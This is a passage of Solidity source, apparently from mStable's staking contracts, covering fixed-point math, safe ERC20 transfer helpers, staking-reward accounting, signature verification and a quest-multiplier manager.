Scales a given integer to the power of the full scale. * @param x Simple uint256 to scale * @return Scaled value a to an exact number */ function scaleInteger(uint256 x) internal pure returns (uint256) { return x * FULL_SCALE; } /*************************************** PRECISE ARITHMETIC ****************************************/ /** * @dev Multiplies two precise units, and then truncates by the full scale * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } /** * @dev Multiplies two precise units, and then truncates by the given scale. For example, * when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18 * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @param scale Scale unit * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncateScale( uint256 x, uint256 y, uint256 scale ) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 // return 9e36 / 1e18 = 9e18 return (x * y) / scale; } /** * @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit, rounded up to the closest base unit. */ function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x * y; // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled + FULL_SCALE - 1; // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil / FULL_SCALE; } /** * @dev Precisely divides two units, by first scaling the left hand operand. Useful * for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17) * @param x Left hand input to division * @param y Right hand input to division * @return Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 // e.g. 8e36 / 10e18 = 8e17 return (x * FULL_SCALE) / y; } /*************************************** RATIO FUNCS ****************************************/ /** * @dev Multiplies and truncates a token ratio, essentially flooring the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand operand to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return c Result after multiplying the two inputs and then dividing by the ratio scale */ function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) { return mulTruncateScale(x, ratio, RATIO_SCALE); } /** * @dev Multiplies and truncates a token ratio, rounding up the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand input to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return Result after multiplying the two inputs and then dividing by the shared * ratio scale, rounded up to the closest base unit. */ function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) { // e.g. How much mAsset should I burn for this bAsset (x)? // 1e18 * 1e8 = 1e26 uint256 scaled = x * ratio; // 1e26 + 9.99e7 = 100..00.999e8 uint256 ceil = scaled + RATIO_SCALE - 1; // return 100..00.999e8 / 1e8 = 1e18 return ceil / RATIO_SCALE; } /** * @dev Precisely divides two ratioed units, by first scaling the left hand operand * i.e. How much bAsset is this mAsset worth? * @param x Left hand operand in division * @param ratio bAsset ratio * @return c Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) { // e.g. 1e14 * 1e8 = 1e22 // return 1e22 / 1e12 = 1e10 return (x * RATIO_SCALE) / ratio; } /*************************************** HELPERS ****************************************/ /** * @dev Calculates minimum of two numbers * @param x Left hand input * @param y Right hand input * @return Minimum of the two inputs */ function min(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } /** * @dev Calculated maximum of two numbers * @param x Left hand input * @param y Right hand input * @return Maximum of the two inputs */ function max(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? x : y; } /** * @dev Clamps a value to an upper bound * @param x Left hand input * @param upperBound Maximum possible value to return * @return Input x clamped to a maximum value, upperBound */ function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) { return x > upperBound ? upperBound : x; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library MassetHelpers { using SafeERC20 for IERC20; function transferReturnBalance( address _sender, address _recipient, address _bAsset, uint256 _qty ) internal returns (uint256 receivedQty, uint256 recipientBalance) { uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient); IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty); recipientBalance = IERC20(_bAsset).balanceOf(_recipient); receivedQty = recipientBalance - balBefore; } function safeInfiniteApprove(address _asset, address _spender) internal { IERC20(_asset).safeApprove(_spender, 0); IERC20(_asset).safeApprove(_spender, 2**256 - 1); } } contract PlatformTokenVendor { IERC20 public immutable platformToken; address public immutable parentStakingContract; /** @dev Simple constructor that stores the parent address */ constructor(IERC20 _platformToken) { parentStakingContract = msg.sender; platformToken = _platformToken; MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender); } /** * @dev Re-approves the StakingReward contract to spend the platform token. * Just incase for some reason approval has been reset. */ function reApproveOwner() external { MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract); } } library PlatformTokenVendorFactory { /// @dev for some reason Typechain will not generate the types if the library only has the create function function dummy() public pure returns (bool) { return true; } /** * @notice Deploys a new PlatformTokenVendor contract * @param _rewardsToken reward or platform rewards token. eg MTA or WMATIC * @return address of the deployed PlatformTokenVendor contract */ function create(IERC20 _rewardsToken) public returns (address) { PlatformTokenVendor newPlatformTokenVendor = new PlatformTokenVendor(_rewardsToken); return address(newPlatformTokenVendor); } } abstract contract HeadlessStakingRewards is ContextUpgradeable, InitializableRewardsDistributionRecipient { using SafeERC20 for IERC20; using StableMath for uint256; /// @notice token the rewards are distributed in. eg MTA IERC20 public immutable REWARDS_TOKEN; /// @notice length of each staking period in seconds. 7 days = 604,800; 3 months = 7,862,400 uint256 public constant DURATION = 1 weeks; /// @notice contract that holds the platform tokens address public rewardTokenVendor; struct Data { /// Timestamp for current period finish uint32 periodFinish; /// Last time any user took action uint32 lastUpdateTime; /// RewardRate for the rest of the period uint96 rewardRate; /// Ever increasing rewardPerToken rate, based on % of total supply uint96 rewardPerTokenStored; } struct UserData { uint128 rewardPerTokenPaid; uint128 rewards; } Data public globalData; mapping(address => UserData) public userData; uint256 public pendingAdditionalReward; event RewardAdded(uint256 reward); event RewardPaid(address indexed user, address indexed to, uint256 reward); /** * @param _nexus mStable system Nexus address * @param _rewardsToken first token that is being distributed as a reward. eg MTA */ constructor(address _nexus, address _rewardsToken) InitializableRewardsDistributionRecipient(_nexus) { REWARDS_TOKEN = IERC20(_rewardsToken); } /** * @dev Initialization function for upgradable proxy contract. * This function should be called via Proxy just after contract deployment. * To avoid variable shadowing appended `Arg` after arguments name. * @param _rewardsDistributorArg mStable Reward Distributor contract address */ function _initialize(address _rewardsDistributorArg) internal virtual override { InitializableRewardsDistributionRecipient._initialize(_rewardsDistributorArg); rewardTokenVendor = PlatformTokenVendorFactory.create(REWARDS_TOKEN); } /** @dev Updates the reward for a given address, before executing function */ modifier updateReward(address _account) { _updateReward(_account); _; } function _updateReward(address _account) internal { // Setting of global vars (uint256 newRewardPerToken, uint256 lastApplicableTime) = _rewardPerToken(); // If statement protects against loss in initialisation case if (newRewardPerToken > 0) { globalData.rewardPerTokenStored = SafeCast.toUint96(newRewardPerToken); globalData.lastUpdateTime = SafeCast.toUint32(lastApplicableTime); // Setting of personal vars based on new globals if (_account != address(0)) { userData[_account] = UserData({ rewardPerTokenPaid: SafeCast.toUint128(newRewardPerToken), rewards: SafeCast.toUint128(_earned(_account, newRewardPerToken)) }); } } } /*************************************** ACTIONS ****************************************/ /** * @dev Claims outstanding rewards for the sender. * First updates outstanding reward allocation and then transfers. */ function claimReward(address _to) public { _claimReward(_to); } /** * @dev Claims outstanding rewards for the sender. * First updates outstanding reward allocation and then transfers. */ function claimReward() public { _claimReward(_msgSender()); } function _claimReward(address _to) internal updateReward(_msgSender()) { uint128 reward = userData[_msgSender()].rewards; if (reward > 0) { userData[_msgSender()].rewards = 0; REWARDS_TOKEN.safeTransferFrom(rewardTokenVendor, _to, reward); emit RewardPaid(_msgSender(), _to, reward); } _claimRewardHook(_msgSender()); } /*************************************** GETTERS ****************************************/ /** * @dev Gets the RewardsToken */ function getRewardToken() external view override returns (IERC20) { return REWARDS_TOKEN; } /** * @dev Gets the last applicable timestamp for this reward period */ function lastTimeRewardApplicable() public view returns (uint256) { return StableMath.min(block.timestamp, globalData.periodFinish); } /** * @dev Calculates the amount of unclaimed rewards per token since last update, * and sums with stored to give the new cumulative reward per token * @return 'Reward' per staked token */ function rewardPerToken() public view returns (uint256) { (uint256 rewardPerToken_, ) = _rewardPerToken(); return rewardPerToken_; } function _rewardPerToken() internal view returns (uint256 rewardPerToken_, uint256 lastTimeRewardApplicable_) { uint256 lastApplicableTime = lastTimeRewardApplicable(); // + 1 SLOAD Data memory data = globalData; uint256 timeDelta = lastApplicableTime - data.lastUpdateTime; // + 1 SLOAD // If this has been called twice in the same block, shortcircuit to reduce gas if (timeDelta == 0) { return (data.rewardPerTokenStored, lastApplicableTime); } // new reward units to distribute = rewardRate * timeSinceLastUpdate uint256 rewardUnitsToDistribute = data.rewardRate * timeDelta; // + 1 SLOAD uint256 supply = totalSupply(); // + 1 SLOAD // If there is no StakingToken liquidity, avoid div(0) // If there is nothing to distribute, short circuit if (supply == 0 || rewardUnitsToDistribute == 0) { return (data.rewardPerTokenStored, lastApplicableTime); } // new reward units per token = (rewardUnitsToDistribute * 1e18) / totalTokens uint256 unitsToDistributePerToken = rewardUnitsToDistribute.divPrecisely(supply); // return summed rate return (data.rewardPerTokenStored + unitsToDistributePerToken, lastApplicableTime); // + 1 SLOAD } /** * @dev Calculates the amount of unclaimed rewards a user has earned * @param _account User address * @return Total reward amount earned */ function earned(address _account) public view returns (uint256) { return _earned(_account, rewardPerToken()); } function _earned(address _account, uint256 _currentRewardPerToken) internal view returns (uint256) { // current rate per token - rate user previously received uint256 userRewardDelta = _currentRewardPerToken - userData[_account].rewardPerTokenPaid; // + 1 SLOAD // Short circuit if there is nothing new to distribute if (userRewardDelta == 0) { return userData[_account].rewards; } // new reward = staked tokens * difference in rate uint256 userNewReward = balanceOf(_account).mulTruncate(userRewardDelta); // + 1 SLOAD // add to previous rewards return userData[_account].rewards + userNewReward; } /*************************************** ABSTRACT ****************************************/ function balanceOf(address account) public view virtual returns (uint256); function totalSupply() public view virtual returns (uint256); function _claimRewardHook(address account) internal virtual; /*************************************** ADMIN ****************************************/ /** * @dev Notifies the contract that new rewards have been added. * Calculates an updated rewardRate based on the rewards in period. * @param _reward Units of RewardToken that have been added to the pool */ function notifyRewardAmount(uint256 _reward) external override onlyRewardsDistributor updateReward(address(0)) { require(_reward < 1e24, "Notify more than a million units"); uint256 currentTime = block.timestamp; // Pay and reset the pendingAdditionalRewards if (pendingAdditionalReward > 1) { _reward += (pendingAdditionalReward - 1); pendingAdditionalReward = 1; } if (_reward > 0) { REWARDS_TOKEN.safeTransfer(rewardTokenVendor, _reward); } // If previous period over, reset rewardRate if (currentTime >= globalData.periodFinish) { globalData.rewardRate = SafeCast.toUint96(_reward / DURATION); } // If additional reward to existing period, calc sum else { uint256 remainingSeconds = globalData.periodFinish - currentTime; uint256 leftover = remainingSeconds * globalData.rewardRate; globalData.rewardRate = SafeCast.toUint96((_reward + leftover) / DURATION); } globalData.lastUpdateTime = SafeCast.toUint32(currentTime); globalData.periodFinish = SafeCast.toUint32(currentTime + DURATION); emit RewardAdded(_reward); } /** * @dev Called by the child contract to notify of any additional rewards that have accrued. * Trusts that this is called honestly. * @param _additionalReward Units of additional RewardToken to add at the next notification */ function _notifyAdditionalReward(uint256 _additionalReward) internal virtual { require(_additionalReward < 1e24, "Cannot notify with more than a million units"); pendingAdditionalReward += _additionalReward; } } library SignatureVerifier { function verify( address signer, address account, uint256[] calldata ids, bytes calldata signature ) external pure returns (bool) { bytes32 messageHash = getMessageHash(account, ids); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == signer; } function verify( address signer, uint256 id, address[] calldata accounts, bytes calldata signature ) external pure returns (bool) { bytes32 messageHash = getMessageHash(id, accounts); bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash); return recoverSigner(ethSignedMessageHash, signature) == signer; } function getMessageHash(address account, uint256[] memory ids) internal pure returns (bytes32) { return keccak256(abi.encodePacked(account, ids)); } function getMessageHash(uint256 id, address[] memory accounts) internal pure returns (bytes32) { return keccak256(abi.encodePacked(id, accounts)); } function getEthSignedMessageHash(bytes32 messageHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", messageHash)); } function recoverSigner(bytes32 _ethSignedMessageHash, bytes memory _signature) internal pure returns (address) { (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature); return ecrecover(_ethSignedMessageHash, v, r, s); } function splitSignature(bytes memory signature) internal pure returns ( bytes32 r, bytes32 s, uint8 v ) { require(signature.length == 65, "invalid signature length"); //solium-disable-next-line assembly { r := mload(add(signature, 32)) s := mload(add(signature, 64)) v := byte(0, mload(add(signature, 96))) } } } interface IQuestManager { event QuestAdded( address questMaster, uint256 id, QuestType model, uint16 multiplier, QuestStatus status, uint32 expiry ); event QuestCompleteQuests(address indexed user, uint256[] ids); event QuestCompleteUsers(uint256 indexed questId, address[] accounts); event QuestExpired(uint16 indexed id); event QuestMaster(address oldQuestMaster, address newQuestMaster); event QuestSeasonEnded(); event QuestSigner(address oldQuestSigner, address newQuestSigner); event StakedTokenAdded(address stakedToken); // GETTERS function balanceData(address _account) external view returns (QuestBalance memory); function getQuest(uint256 _id) external view returns (Quest memory); function hasCompleted(address _account, uint256 _id) external view returns (bool); function questMaster() external view returns (address); function seasonEpoch() external view returns (uint32); // ADMIN function addQuest( QuestType _model, uint8 _multiplier, uint32 _expiry ) external; function addStakedToken(address _stakedToken) external; function expireQuest(uint16 _id) external; function setQuestMaster(address _newQuestMaster) external; function setQuestSigner(address _newQuestSigner) external; function startNewQuestSeason() external; // USER function completeUserQuests( address _account, uint256[] memory _ids, bytes calldata _signature ) external; function completeQuestUsers( uint256 _questId, address[] memory _accounts, bytes calldata _signature ) external; function checkForSeasonFinish(address _account) external returns (uint8 newQuestMultiplier); } contract QuestManager is IQuestManager, Initializable, ContextUpgradeable, ImmutableModule { /// @notice Tracks the completion of each quest (user => questId => completion) mapping(address => mapping(uint256 => bool)) private _questCompletion; /// @notice User balance structs containing all data needed to scale balance mapping(address => QuestBalance) internal _balances; /// @notice List of quests, whose ID corresponds to their position in the array (from 0) Quest[] private _quests; /// @notice Timestamp at which the current season started uint32 public override seasonEpoch; /// @notice Timestamp at which the contract was created uint32 public startTime; /// @notice A whitelisted questMaster who can administer quests including signing user quests are completed. address public override questMaster; /// @notice account that can sign a user's quest as being completed. address internal _questSigner; /// @notice List of all staking tokens address[] internal _stakedTokens; /** * @param _nexus System nexus */ constructor(address _nexus) ImmutableModule(_nexus) {} /** * @param _questMaster account that can sign user quests as completed * @param _questSignerArg account that can sign user quests as completed */ function initialize(address _questMaster, address _questSignerArg) external initializer { startTime = SafeCast.toUint32(block.timestamp); questMaster = _questMaster; _questSigner = _questSignerArg; } /** * @dev Checks that _msgSender is either governor or the quest master */ modifier questMasterOrGovernor() { _questMasterOrGovernor(); _; } function _questMasterOrGovernor() internal view { require(_msgSender() == questMaster || _msgSender() == _governor(), "Not verified"); } /*************************************** Getters ****************************************/ /** * @notice Gets raw quest data */ function getQuest(uint256 _id) external view override returns (Quest memory) { return _quests[_id]; } /** * @dev Simply checks if a given user has already completed a given quest * @param _account User address * @param _id Position of quest in array * @return bool with completion status */ function hasCompleted(address _account, uint256 _id) public view override returns (bool) { return _questCompletion[_account][_id]; } /** * @notice Raw quest balance */ function balanceData(address _account) external view override returns (QuestBalance memory) { return _balances[_account]; } /*************************************** Admin ****************************************/ /** * @dev Sets the quest master that can administoer quests. eg add, expire and start seasons. */ function setQuestMaster(address _newQuestMaster) external override questMasterOrGovernor { emit QuestMaster(questMaster, _newQuestMaster); questMaster = _newQuestMaster; } /** * @dev Sets the quest signer that can sign user quests as being completed. */ function setQuestSigner(address _newQuestSigner) external override onlyGovernor { emit QuestSigner(_questSigner, _newQuestSigner); _questSigner = _newQuestSigner; } /** * @dev Adds a new stakedToken */ function addStakedToken(address _stakedToken) external override onlyGovernor { require(_stakedToken != address(0), "Invalid StakedToken"); _stakedTokens.push(_stakedToken); emit StakedTokenAdded(_stakedToken); } /*************************************** QUESTS ****************************************/ /** * @dev Called by questMasters to add a new quest to the system with default 'ACTIVE' status * @param _model Type of quest rewards multiplier (does it last forever or just for the season). * @param _multiplier Multiplier, from 1 == 1.01x to 100 == 2.00x * @param _expiry Timestamp at which quest expires. Note that permanent quests should still be given a timestamp. */ function addQuest( QuestType _model, uint8 _multiplier, uint32 _expiry ) external override questMasterOrGovernor { require(_expiry > block.timestamp + 1 days, "Quest window too small"); require(_multiplier > 0 && _multiplier <= 50, "Quest multiplier too large > 1.5x"); _quests.push( Quest({ model: _model, multiplier: _multiplier, status: QuestStatus.ACTIVE, expiry: _expiry }) ); emit QuestAdded( msg.sender, _quests.length - 1, _model, _multiplier, QuestStatus.ACTIVE, _expiry ); } /** * @dev Called by questMasters to expire a quest, setting it's status as EXPIRED. After which it can * no longer be completed. * @param _id Quest ID (its position in the array) */ function expireQuest(uint16 _id) external override questMasterOrGovernor { require(_id < _quests.length, "Quest does not exist"); require(_quests[_id].status == QuestStatus.ACTIVE, "Quest already expired"); _quests[_id].status = QuestStatus.EXPIRED; if (block.timestamp < _quests[_id].expiry) { _quests[_id].expiry = SafeCast.toUint32(block.timestamp); } emit QuestExpired(_id); } /** * @dev Called by questMasters to start a new quest season. After this, all current * seasonMultipliers will be reduced at the next user action (or triggered manually). * In order to reduce cost for any keepers, it is suggested to add quests at the start * of a new season to incentivise user actions. * A new season can only begin after 9 months has passed. */ function startNewQuestSeason() external override questMasterOrGovernor { require(block.timestamp > (startTime + 39 weeks), "First season has not elapsed"); require(block.timestamp > (seasonEpoch + 39 weeks), "Season has not elapsed"); uint256 len = _quests.length; for (uint256 i = 0; i < len; i++) { Quest memory quest = _quests[i]; if (quest.model == QuestType.SEASONAL) { require( quest.status == QuestStatus.EXPIRED || block.timestamp > quest.expiry, "All seasonal quests must have expired" ); } } seasonEpoch = SafeCast.toUint32(block.timestamp); emit QuestSeasonEnded(); } /*************************************** USER ****************************************/ /** * @dev Called by anyone to complete one or more quests for a staker. The user must first collect a signed message * from the whitelisted _signer. * @param _account Account that has completed the quest * @param _ids Quest IDs (its position in the array) * @param _signature Signature from the verified _questSigner, containing keccak hash of account & ids */ function completeUserQuests( address _account, uint256[] memory _ids, bytes calldata _signature ) external override { uint256 len = _ids.length; require(len > 0, "No quest IDs"); uint8 questMultiplier = checkForSeasonFinish(_account); // For each quest for (uint256 i = 0; i < len; i++) { require(_validQuest(_ids[i]), "Invalid Quest ID"); require(!hasCompleted(_account, _ids[i]), "Quest already completed"); require( SignatureVerifier.verify(_questSigner, _account, _ids, _signature), "Invalid Quest Signer Signature" ); // Store user quest has completed _questCompletion[_account][_ids[i]] = true; // Update multiplier Quest memory quest = _quests[_ids[i]]; if (quest.model == QuestType.PERMANENT) { _balances[_account].permMultiplier += quest.multiplier; } else { _balances[_account].seasonMultiplier += quest.multiplier; } questMultiplier += quest.multiplier; } uint256 len2 = _stakedTokens.length; for (uint256 i = 0; i < len2; i++) { IStakedToken(_stakedTokens[i]).applyQuestMultiplier(_account, questMultiplier); } emit QuestCompleteQuests(_account, _ids); } /** * @dev Called by anyone to complete one or more accounts for a quest. The user must first collect a signed message * from the whitelisted _questMaster. * @param _questId Quest ID (its position in the array) * @param _accounts Accounts that has completed the quest * @param _signature Signature from the verified _questMaster, containing keccak hash of id and accounts */ function completeQuestUsers( uint256 _questId, address[] memory _accounts, bytes calldata _signature ) external override { require(_validQuest(_questId), "Invalid Quest ID"); uint256 len = _accounts.length; require(len > 0, "No accounts"); require( SignatureVerifier.verify(_questSigner, _questId, _accounts, _signature), "Invalid Quest Signer Signature" ); Quest memory quest = _quests[_questId]; // For each user account for (uint256 i = 0; i < len; i++) { require(!hasCompleted(_accounts[i], _questId), "Quest already completed"); // store user quest has completed _questCompletion[_accounts[i]][_questId] = true; // _applyQuestMultiplier(_accounts[i], quests); uint8 questMultiplier = checkForSeasonFinish(_accounts[i]); // Update multiplier if (quest.model == QuestType.PERMANENT) { _balances[_accounts[i]].permMultiplier += quest.multiplier; } else { _balances[_accounts[i]].seasonMultiplier += quest.multiplier; } questMultiplier += quest.multiplier; uint256 len2 = _stakedTokens.length; for (uint256 j = 0; j < len2; j++) { IStakedToken(_stakedTokens[j]).applyQuestMultiplier(_accounts[i], questMultiplier); } } emit QuestCompleteUsers(_questId, _accounts); } /** * @dev Simply checks if a quest is valid. Quests are valid if their id exists, * they have an ACTIVE status and they have not yet reached their expiry timestamp. * @param _id Position of quest in array * @return bool with validity status */ function _validQuest(uint256 _id) internal view returns (bool) { return _id < _quests.length && _quests[_id].status == QuestStatus.ACTIVE && block.timestamp < _quests[_id].expiry; } /** * @dev Checks if the season has just finished between now and the users last action. * If it has, we reset the seasonMultiplier. Either way, we update the lastAction for the user. * NOTE - it is important that this is called as a hook before each state change operation * @param _account Address of user that should be updated */ function checkForSeasonFinish(address _account) public override returns (uint8 newQuestMultiplier) { QuestBalance storage balance = _balances[_account]; // If the last action was before current season, then reset the season timing if (_hasFinishedSeason(balance.lastAction)) { // Remove 85% of the multiplier gained in this season balance.seasonMultiplier = (balance.seasonMultiplier * 15) / 100; balance.lastAction = SafeCast.toUint32(block.timestamp); } return balance.seasonMultiplier + balance.permMultiplier; } /** * @dev Simple view fn to check if the users last action was before the starting of the current season */ function _hasFinishedSeason(uint32 _lastAction) internal view returns (bool) { return _lastAction < seasonEpoch; } } abstract contract GamifiedToken is ILockedERC20, Initializable, ContextUpgradeable, HeadlessStakingRewards { /// @notice name of this token (ERC20) bytes32 private _name; /// @notice symbol of this token (ERC20) bytes32 private _symbol; /// @notice number of decimals of this token (ERC20) uint8 public constant override decimals = 18; /// @notice User balance structs containing all data needed to scale balance mapping(address => Balance) internal _balances; /// @notice Most recent price coefficients per user mapping(address => uint256) internal _userPriceCoeff; /// @notice Quest Manager QuestManager public immutable questManager; /// @notice Has variable price bool public immutable hasPriceCoeff; /*************************************** INIT ****************************************/ /** * @param _nexus System nexus * @param _rewardsToken Token that is being distributed as a reward. eg MTA * @param _questManager Centralised manager of quests * @param _hasPriceCoeff true if raw staked amount is multiplied by price coeff to get staked amount. eg BPT Staked Token */ constructor( address _nexus, address _rewardsToken, address _questManager, bool _hasPriceCoeff ) HeadlessStakingRewards(_nexus, _rewardsToken) { questManager = QuestManager(_questManager); hasPriceCoeff = _hasPriceCoeff; } /** * @param _nameArg Token name * @param _symbolArg Token symbol * @param _rewardsDistributorArg mStable Rewards Distributor */ function __GamifiedToken_init( bytes32 _nameArg, bytes32 _symbolArg, address _rewardsDistributorArg ) internal initializer { __Context_init_unchained(); _name = _nameArg; _symbol = _symbolArg; 